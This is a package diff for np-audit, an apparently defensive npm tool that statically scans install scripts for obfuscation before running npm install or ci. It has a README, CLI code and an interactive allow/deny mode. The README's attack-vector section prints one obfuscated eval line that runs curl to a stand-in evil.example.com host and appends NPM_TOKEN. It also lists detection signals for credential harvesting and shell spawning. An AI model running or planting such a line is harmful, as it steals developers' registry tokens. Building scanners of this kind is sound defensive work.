np-audit 0.0.1-beta

package/README.md

@@ -0,0 +1,212 @@
+# np-audit — npm package auditor
+
+Statically detect obfuscated code in npm `preinstall`/`postinstall` scripts **before** they run. Drop-in replacement for `npm install` and `npm ci`.
+
+**Zero dependencies.** Pure Node.js built-ins only.
+
+---
+
+## The Attack Vector
+
+Supply chain attacks targeting the npm ecosystem frequently abuse lifecycle scripts. When you run `npm install`, npm automatically executes any `preinstall`, `install`, or `postinstall` script defined in a package's `package.json`. Attackers ship packages that look legitimate but embed malicious payloads hidden behind obfuscation techniques:
+
+```json
+{
+  "scripts": {
+    "postinstall": "node ./dist/install.js"
+  }
+}
+```
+
+Where `dist/install.js` contains something like:
+
+```js
+// Obfuscated — hard to read by design
+var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
+eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl -s http://evil.example.com/\'+process.env.NPM_TOKEN)');
+```
+
+Real-world examples include:
+
+- **[event-stream (2018)](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident)** — malicious postinstall that stole Bitcoin wallet credentials
+- **[ua-parser-js (2021)](https://github.com/advisories/GHSA-pjwm-rvh2-c87w)** — cryptocurrency miner + info-stealer injected via hijacked maintainer account
+- **[node-ipc (2022)](https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability/)** — wiper malware targeting systems by geo-IP
+- **[colors / faker (2022)](https://snyk.io/blog/open-source-npm-packages-colors-faker/)** — deliberate sabotage by the maintainer via postinstall
+- **XZ Utils (2024)** — multi-year social engineering + backdoor via build scripts (C ecosystem, but same pattern)
+
+**`npa` never executes the scripts.** It downloads and statically analyzes them, detecting:
+
+| Signal | Example |
+|---|---|
+| `eval()` / `new Function()` | `eval(atob("aGVsbG8="))` |
+| Obfuscator.io patterns | `var _0x3f2a = [...]` |
+| High-entropy strings | Encrypted/compressed payloads |
+| Hex escape density | `\x68\x65\x6c\x6c\x6f` |
+| `String.fromCharCode()` chains | `String.fromCharCode(104,101,108,108,111)` |
+| Base64 decode + exec | `Buffer.from(x,'base64')` + `eval` |
+| Shell spawning | `require('child_process').exec(...)` |
+| Large hex literal arrays | `[0x1a, 0x2b, 0x3c, ...]` × 20+ |
+| `process.env` access | Token/credential harvesting |
+| Outbound network calls | Data exfiltration |
+
+---
+
+## Install
+
+```bash
+# Global install (recommended for daily use)
+npm install -g np-audit
+
+# Or use directly with npx (no install needed)
+npx np-audit scan
+npx np-audit install
+```
+
+After global install, use the `npa` command:
+
+```bash
+npa --version
+```
+
+---
+
+## Usage
+
+### Commands
+
+| Command | Alias | Description |
+|---|---|---|
+| `npa install [package]` | `npa i [package]` | Audit then run `npm install` |
+| `npa ci` | — | Audit then run `npm ci` |
+| `npa scan` | `npa s` | Scan only, no install |
+| `npa config get` | `npa c get` | Show current configuration |
+| `npa config set <key> <value>` | `npa c set <key> <value>` | Update a config value |
+
+### Flags
+
+| Flag | Alias | Works with | Description |
+|---|---|---|---|
+| `--aware` | `-a` | `install`, `ci` | Interactive mode — choose which scripts to allow |
+| `--json` | — | `install`, `ci`, `scan` | Machine-readable JSON output |
+| `--no-dev` | — | `install`, `ci`, `scan` | Skip devDependencies |
+| `--verbose` | — | all | Show fetch progress and extra detail |
+| `--version` | — | — | Print version and exit |
+| `--help` | `-h` | — | Print help and exit |
+
+### Drop-in replacement for `npm install`
+
+```bash
+# Audit all dependencies, then install if clean
+npa install          # or: npa i
+
+# Audit a specific package before adding it
+npa i express
+```
+
+### Drop-in replacement for `npm ci`
+
+```bash
+npa ci
+```
+
+### Scan only (no install)
+
+```bash
+npa scan             # or: npa s
+npa s --json         # machine-readable output
+npa s --no-dev       # skip devDependencies
+npa s --verbose      # show fetch progress
+```
+
+### Interactive `--aware` mode
+
+Review each install script yourself and decide which to allow:
+
+```bash
+npa i --aware        # or: npa i -a
+npa ci --aware
+```
+
+```
+  npa --aware mode
+  Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit
+
+  Found 3 package(s) with install scripts:
+
+     [✓ allow] esbuild@0.24.2       postinstall: post-install.js     OK
+   ▶ [✗ deny ] evil-sdk@1.0.0       postinstall: install.js          BLOCK (score: 9)
+     [✓ allow] @scope/pkg@2.1.0     postinstall: install.js          WARN (score: 5)
+
+  2 allowed  1 denied
+```
+
+After confirmation, `npa` runs `npm install --ignore-scripts` and then manually executes only the scripts you allowed.
+
+### Configuration
+
+```bash
+# Show current config
+npa config get
+
+# Change thresholds
+npa config set blockScore 6    # block at score 6+ (default: 7)
+npa config set warnScore 3     # warn at score 3+ (default: 4)
+
+# Skip trusted packages or scopes
+npa config set skipPackages '["esbuild","puppeteer"]'
+npa config set skipScopes '["@types","@babel"]'
+```
+
+Config is stored in `~/.npmauditor.json` (global) and can be overridden per project with `.npmauditor.json` in your project root.
+
+#### All config keys
+
+| Key | Default | Description |
+|---|---|---|
+| `blockScore` | `7` | Score threshold for hard block (exit 1) |
+| `warnScore` | `4` | Score threshold for warning (exit 0) |
+| `registry` | `https://registry.npmjs.org` | npm registry URL |
+| `timeout` | `30000` | HTTP request timeout (ms) |
+| `parallelFetches` | `5` | Concurrent tarball downloads |
+| `skipScopes` | `[]` | `@scope` prefixes to skip entirely |
+| `skipPackages` | `[]` | Specific package names to skip |
+
+---
+
+## Exit codes
+
+| Code | Meaning |
+|---|---|
+| `0` | All packages clean or only warnings |
+| `1` | One or more packages blocked |
+
+---
+
+## How it works
+
+1. **Parse** `package-lock.json` (supports v1, v2, v3 formats)
+2. **Filter** packages: skip dev deps (`--no-dev`), skipped scopes/packages, packages without install scripts
+3. **Fetch or read** — for packages in `node_modules`: read from disk. For packages not yet installed: download the tarball from the npm registry and parse it in memory (pure Node.js tar.gz reader, no `tar` package)
+4. **Analyze** each `preinstall`/`install`/`postinstall` script file statically — never execute
+5. **Score** findings (0–10 per signal), classify as BLOCK / WARN / OK based on config thresholds
+6. **Report** results to terminal or `--json`
+7. **Proceed** — run npm normally, or in `--aware` mode let you selectively allow scripts
+
+---
+
+## Development
+
+```bash
+git clone https://github.com/KoblerS/np-audit.git
+cd np-audit
+npm test          # run all unit + E2E tests
+npm link          # install npa globally from source
+```
+
+No build step, no transpilation — plain Node.js ≥ 18.
+
+---
+
+## License
+
+MIT

package/bin/npa.js

@@ -0,0 +1,3 @@
+#!/usr/bin/env node
+'use strict';
+require('../src/cli.js');

package/package.json

@@ -0,0 +1,33 @@
+{
+  "name": "np-audit",
+  "version": "0.0.1-beta",
+  "description": "Static obfuscation detector for npm lifecycle scripts — supply chain attack prevention",
+  "bin": {
+    "npa": "./bin/npa.js",
+    "np-audit": "./bin/npa.js"
+  },
+  "main": "./src/cli.js",
+  "files": [
+    "bin/",
+    "src/",
+    "README.md"
+  ],
+  "scripts": {
+    "test": "node test/index.js"
+  },
+  "engines": {
+    "node": ">=18.0.0"
+  },
+  "keywords": [
+    "npm",
+    "security",
+    "audit",
+    "obfuscation",
+    "supply-chain"
+  ],
+  "license": "MIT",
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/KoblerS/np-audit.git"
+  }
+}

package/src/aware.js

@@ -0,0 +1,183 @@
+'use strict';
+
+const readline = require('readline');
+const path     = require('path');
+const { spawnSync } = require('child_process');
+const output   = require('./output');
+
+const KEY_UP    = '\x1b[A';
+const KEY_DOWN  = '\x1b[B';
+const KEY_SPACE = ' ';
+const KEY_ENTER = '\r';
+const KEY_ENTER2 = '\n';
+const KEY_QUIT  = 'q';
+
+/**
+ * Run the interactive --aware TUI.
+ * Shows packages with install scripts and lets the user toggle which to allow.
+ * After confirmation, runs npm install --ignore-scripts, then executes allowed scripts.
+ *
+ * @param {object} opts
+ * @param {ScanResult[]} opts.results  packages that have install scripts
+ * @param {string}       opts.command  'install' | 'ci'
+ * @param {string[]}     opts.npmArgs  extra args for npm command
+ * @param {string}       opts.cwd
+ * @returns {Promise<number>}  exit code
+ */
+async function runAware(opts) {
+  const { results, command, npmArgs, cwd } = opts;
+
+  if (results.length === 0) {
+    output.success('No install scripts found. Running npm without restrictions.');
+    return runNpm(command, npmArgs, cwd);
+  }
+
+  // Default: allow OK scripts, deny BLOCK scripts, warn for WARN
+  const items = results.map(r => ({
+    result: r,
+    allowed: r.verdict !== 'BLOCK',
+  }));
+
+  let cursor = 0;
+
+  function render() {
+    // Move cursor to top of list — use ANSI escape to clear + redraw
+    process.stdout.write('\x1b[2J\x1b[H'); // clear screen
+    output.log('');
+    output.log(output.bold('  npa --aware mode'));
+    output.log(output.dim('  Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit'));
+    output.log('');
+    output.log(`  Found ${items.length} package(s) with install scripts:\n`);
+
+    items.forEach((item, i) => {
+      const { result } = item;
+      const pkg    = result.pkg;
+      const badge  = output.verdictBadge(result.verdict);
+      const toggle = item.allowed ? output.green('[✓ allow]') : output.red('[✗ deny ]');
+      const cursor_ = i === cursor ? output.cyan(' ▶ ') : '   ';
+      const name   = `${pkg.name}@${pkg.version}`;
+      const scripts = result.scripts.map(s => `${s.lifecycle}: ${s.file}`).join(', ');
+      output.log(`  ${cursor_}${toggle} ${output.bold(name)} ${output.dim(scripts)} ${badge}`);
+
+      if (i === cursor && result.findings.length > 0) {
+        for (const f of result.findings) {
+          output.log(`         ${output.dim('└ ' + f.name + ': ' + f.detail)}`);
+        }
+      }
+    });
+
+    output.log('');
+    const allowed = items.filter(i => i.allowed).length;
+    output.log(`  ${output.green(String(allowed))} allowed  ${output.red(String(items.length - allowed))} denied`);
+    output.log('');
+  }
+
+  await new Promise((resolve) => {
+    if (!process.stdin.isTTY) {
+      // Non-TTY fallback: just use defaults and proceed
+      resolve();
+      return;
+    }
+
+    readline.emitKeypressEvents(process.stdin);
+    process.stdin.setRawMode(true);
+
+    render();
+
+    function onKey(str, key) {
+      if (!key) return;
+
+      if (key.name === 'up' || str === KEY_UP) {
+        cursor = (cursor - 1 + items.length) % items.length;
+        render();
+      } else if (key.name === 'down' || str === KEY_DOWN) {
+        cursor = (cursor + 1) % items.length;
+        render();
+      } else if (str === KEY_SPACE) {
+        items[cursor].allowed = !items[cursor].allowed;
+        render();
+      } else if (str === KEY_ENTER || str === KEY_ENTER2 || key.name === 'return') {
+        cleanup();
+        resolve();
+      } else if (str === KEY_QUIT || (key.ctrl && key.name === 'c')) {
+        cleanup();
+        process.stdout.write('\n');
+        process.exit(0);
+      }
+    }
+
+    function cleanup() {
+      process.stdin.setRawMode(false);
+      process.stdin.removeListener('keypress', onKey);
+      process.stdin.pause();
+    }
+
+    process.stdin.on('keypress', onKey);
+  });
+
+  // Clear screen after TUI exits
+  process.stdout.write('\x1b[2J\x1b[H');
+
+  const allowedItems = items.filter(i => i.allowed);
+  const deniedItems  = items.filter(i => !i.allowed);
+
+  output.log('');
+  output.info(`Proceeding with ${allowedItems.length} allowed / ${deniedItems.length} denied`);
+
+  if (deniedItems.length > 0) {
+    output.warn('Running npm with --ignore-scripts (will run allowed scripts manually after)');
+    const code = runNpm(command, [...npmArgs, '--ignore-scripts'], cwd);
+    if (code !== 0) return code;
+
+    for (const item of allowedItems) {
+      const exitCode = runPackageScripts(item.result, cwd);
+      if (exitCode !== 0) {
+        output.error(`Script for ${item.result.pkg.name} exited with code ${exitCode}`);
+      }
+    }
+    return 0;
+  } else {
+    return runNpm(command, npmArgs, cwd);
+  }
+}
+
+/**
+ * Spawn npm install/ci and return the exit code.
+ */
+function runNpm(command, args, cwd) {
+  const npmCmd = process.platform === 'win32' ? 'npm.cmd' : 'npm';
+  const npmArgs = command === 'ci' ? ['ci', ...args] : ['install', ...args];
+  const result = spawnSync(npmCmd, npmArgs, { stdio: 'inherit', cwd });
+  return result.status || 0;
+}
+
+/**
+ * Run the install scripts for a single package from its node_modules directory.
+ */
+function runPackageScripts(scanResult, cwd) {
+  const pkgDir = path.join(cwd, 'node_modules', scanResult.pkg.name);
+
+  for (const scriptInfo of scanResult.scripts) {
+    if (scriptInfo.file === '(inline)') {
+      output.info(`Running inline ${scriptInfo.lifecycle} for ${scanResult.pkg.name}`);
+      const result = spawnSync(scriptInfo.code, {
+        shell: true,
+        stdio: 'inherit',
+        cwd:   pkgDir,
+      });
+      if (result.status !== 0) return result.status;
+    } else {
+      const scriptPath = path.join(pkgDir, scriptInfo.file);
+      output.info(`Running ${scriptInfo.lifecycle} (${scriptInfo.file}) for ${scanResult.pkg.name}`);
+      const result = spawnSync(process.execPath, [scriptPath], {
+        stdio: 'inherit',
+        cwd:   pkgDir,
+      });
+      if (result.status !== 0) return result.status;
+    }
+  }
+
+  return 0;
+}
+
+module.exports = { runAware, runNpm };

package/src/cli.js

@@ -0,0 +1,262 @@
+'use strict';
+
+const { scan }      = require('./scanner');
+const { runAware, runNpm } = require('./aware');
+const { loadConfig, setGlobalConfig, getGlobalConfigPath, DEFAULT_CONFIG } = require('./config');
+const output        = require('./output');
+
+const VERSION = require('../package.json').version;
+const NAME    = require('../package.json').name;
+
+const HELP = `
+  npa — npm package auditor ${VERSION}
+  Statically detects obfuscated code in npm install scripts.
+
+  Usage:
+    npa install [package]    Audit then run npm install  (alias: i)
+    npa ci                   Audit then run npm ci
+    npa scan                 Scan only, no npm invocation (alias: s)
+    npa config get           Show current configuration   (alias: c)
+    npa config set <k> <v>   Set a config value
+
+  Flags:
+    --aware, -a   Interactive mode: choose which scripts to allow
+    --json        Machine-readable JSON output
+    --no-dev      Skip devDependencies
+    --verbose     Show extra detail
+    --version     Print version
+    --help, -h    Print this help
+
+  Config keys (stored in ~/.npmauditor.json):
+    blockScore       Score threshold for hard block (default: ${DEFAULT_CONFIG.blockScore})
+    warnScore        Score threshold for warning (default: ${DEFAULT_CONFIG.warnScore})
+    registry         npm registry URL (default: ${DEFAULT_CONFIG.registry})
+    timeout          HTTP timeout in ms (default: ${DEFAULT_CONFIG.timeout})
+    parallelFetches  Concurrent downloads (default: ${DEFAULT_CONFIG.parallelFetches})
+    skipScopes       Array of @scopes to skip
+    skipPackages     Array of package names to skip
+
+  Install:
+    npm install -g np-audit
+    npx np-audit scan
+`;
+
+function parseArgs(argv) {
+  const args  = argv.slice(2);
+  const flags = {
+    aware:   false,
+    json:    false,
+    noDev:   false,
+    verbose: false,
+    version: false,
+    help:    false,
+  };
+  const positionals = [];
+
+  for (const arg of args) {
+    switch (arg) {
+      case '--aware':
+      case '-a':         flags.aware   = true; break;
+      case '--json':     flags.json    = true; break;
+      case '--no-dev':   flags.noDev   = true; break;
+      case '--verbose':  flags.verbose = true; break;
+      case '--version':  flags.version = true; break;
+      case '--help':
+      case '-h':         flags.help    = true; break;
+      default:
+        if (!arg.startsWith('-')) positionals.push(arg);
+    }
+  }
+
+  const command = positionals[0] || null;
+  const cmdArgs = positionals.slice(1);
+  return { command, cmdArgs, flags };
+}
+
+async function runInstall(pkgName, flags, config, cwd) {
+  output.printScanHeader();
+
+  const results = await scan({
+    cwd,
+    config,
+    noDev:         flags.noDev,
+    verbose:       flags.verbose,
+    singlePackage: pkgName || null,
+  });
+
+  if (flags.json) {
+    process.stdout.write(JSON.stringify(toJsonReport(results), null, 2) + '\n');
+  } else {
+    printResults(results);
+  }
+
+  const blocked = results.filter(r => r.verdict === 'BLOCK');
+
+  if (blocked.length > 0 && !flags.aware) {
+    output.error(`${blocked.length} package(s) blocked due to obfuscated install scripts.`);
+    output.log(output.dim('  Run with --aware to interactively decide which scripts to allow.'));
+    process.exit(1);
+  }
+
+  const npmArgs = pkgName ? [pkgName] : [];
+
+  if (flags.aware) {
+    const packagesWithScripts = results.filter(r => r.verdict !== 'OK' || r.scripts.length > 0);
+    const exit = await runAware({
+      results: packagesWithScripts.length > 0 ? packagesWithScripts : results,
+      command: 'install',
+      npmArgs,
+      cwd,
+    });
+    process.exit(exit);
+  } else {
+    const exit = runNpm('install', npmArgs, cwd);
+    process.exit(exit);
+  }
+}
+
+async function runCi(flags, config, cwd) {
+  output.printScanHeader();
+
+  const results = await scan({ cwd, config, noDev: flags.noDev, verbose: flags.verbose });
+
+  if (flags.json) {
+    process.stdout.write(JSON.stringify(toJsonReport(results), null, 2) + '\n');
+  } else {
+    printResults(results);
+  }
+
+  const blocked = results.filter(r => r.verdict === 'BLOCK');
+
+  if (blocked.length > 0 && !flags.aware) {
+    output.error(`${blocked.length} package(s) blocked due to obfuscated install scripts.`);
+    process.exit(1);
+  }
+
+  if (flags.aware) {
+    const exit = await runAware({ results, command: 'ci', npmArgs: [], cwd });
+    process.exit(exit);
+  } else {
+    const exit = runNpm('ci', [], cwd);
+    process.exit(exit);
+  }
+}
+
+async function runScan(flags, config, cwd) {
+  output.printScanHeader();
+
+  const results = await scan({ cwd, config, noDev: flags.noDev, verbose: flags.verbose });
+
+  if (flags.json) {
+    process.stdout.write(JSON.stringify(toJsonReport(results), null, 2) + '\n');
+    const hasBlock = results.some(r => r.verdict === 'BLOCK');
+    process.exit(hasBlock ? 1 : 0);
+  }
+
+  printResults(results);
+  output.printSummary(results.map(r => ({ verdict: r.verdict })));
+
+  const hasBlock = results.some(r => r.verdict === 'BLOCK');
+  process.exit(hasBlock ? 1 : 0);
+}
+
+async function runConfig(cmdArgs, config) {
+  const subcommand = cmdArgs[0];
+
+  if (subcommand === 'get') {
+    const globalPath = getGlobalConfigPath();
+    output.log(output.bold('  Current npa configuration'));
+    output.log(output.dim(`  (global: ${globalPath})`));
+    output.log('');
+    for (const [key, val] of Object.entries(config)) {
+      output.log(`  ${output.cyan(key.padEnd(18))} ${JSON.stringify(val)}`);
+    }
+    output.log('');
+    return;
+  }
+
+  if (subcommand === 'set') {
+    const key   = cmdArgs[1];
+    const value = cmdArgs[2];
+    if (!key || value === undefined) {
+      output.error('Usage: npa config set <key> <value>');
+      process.exit(1);
+    }
+    try {
+      const updated = setGlobalConfig(key, value);
+      output.success(`Set ${key} = ${JSON.stringify(updated[key])}`);
+      output.log(output.dim(`  Written to ${getGlobalConfigPath()}`));
+    } catch (err) {
+      output.error(err.message);
+      process.exit(1);
+    }
+    return;
+  }
+
+  output.error(`Unknown config subcommand: "${subcommand}". Use "get" or "set".`);
+  process.exit(1);
+}
+
+function printResults(results) {
+  if (results.length === 0) {
+    output.success('No packages with install scripts found.');
+    return;
+  }
+  for (const r of results) {
+    output.printPackageResult(r.pkg, r);
+  }
+}
+
+function toJsonReport(results) {
+  return {
+    summary: {
+      total:   results.length,
+      blocked: results.filter(r => r.verdict === 'BLOCK').length,
+      warned:  results.filter(r => r.verdict === 'WARN').length,
+      ok:      results.filter(r => r.verdict === 'OK').length,
+    },
+    packages: results.map(r => ({
+      name:     r.pkg.name,
+      version:  r.pkg.version,
+      verdict:  r.verdict,
+      score:    r.score,
+      findings: r.findings,
+      scripts:  r.scripts.map(s => ({ lifecycle: s.lifecycle, file: s.file, score: s.score })),
+    })),
+  };
+}
+
+async function main() {
+  const { command, cmdArgs, flags } = parseArgs(process.argv);
+  const cwd    = process.cwd();
+  const config = loadConfig(cwd);
+
+  if (flags.version) {
+    process.stdout.write(`npa ${VERSION} (${NAME})\n`);
+    return;
+  }
+
+  if (flags.help || !command) {
+    process.stdout.write(HELP + '\n');
+    return;
+  }
+
+  switch (command) {
+    case 'install':
+    case 'i':        await runInstall(cmdArgs[0] || null, flags, config, cwd); break;
+    case 'ci':       await runCi(flags, config, cwd); break;
+    case 'scan':
+    case 's':        await runScan(flags, config, cwd); break;
+    case 'config':
+    case 'c':        await runConfig(cmdArgs, config); break;
+    default:
+      output.error(`Unknown command: "${command}". Run npa --help for usage.`);
+      process.exit(1);
+  }
+}
+
+main().catch(err => {
+  output.error(err.message);
+  if (process.env.NPA_DEBUG) console.error(err);
+  process.exit(1);
+});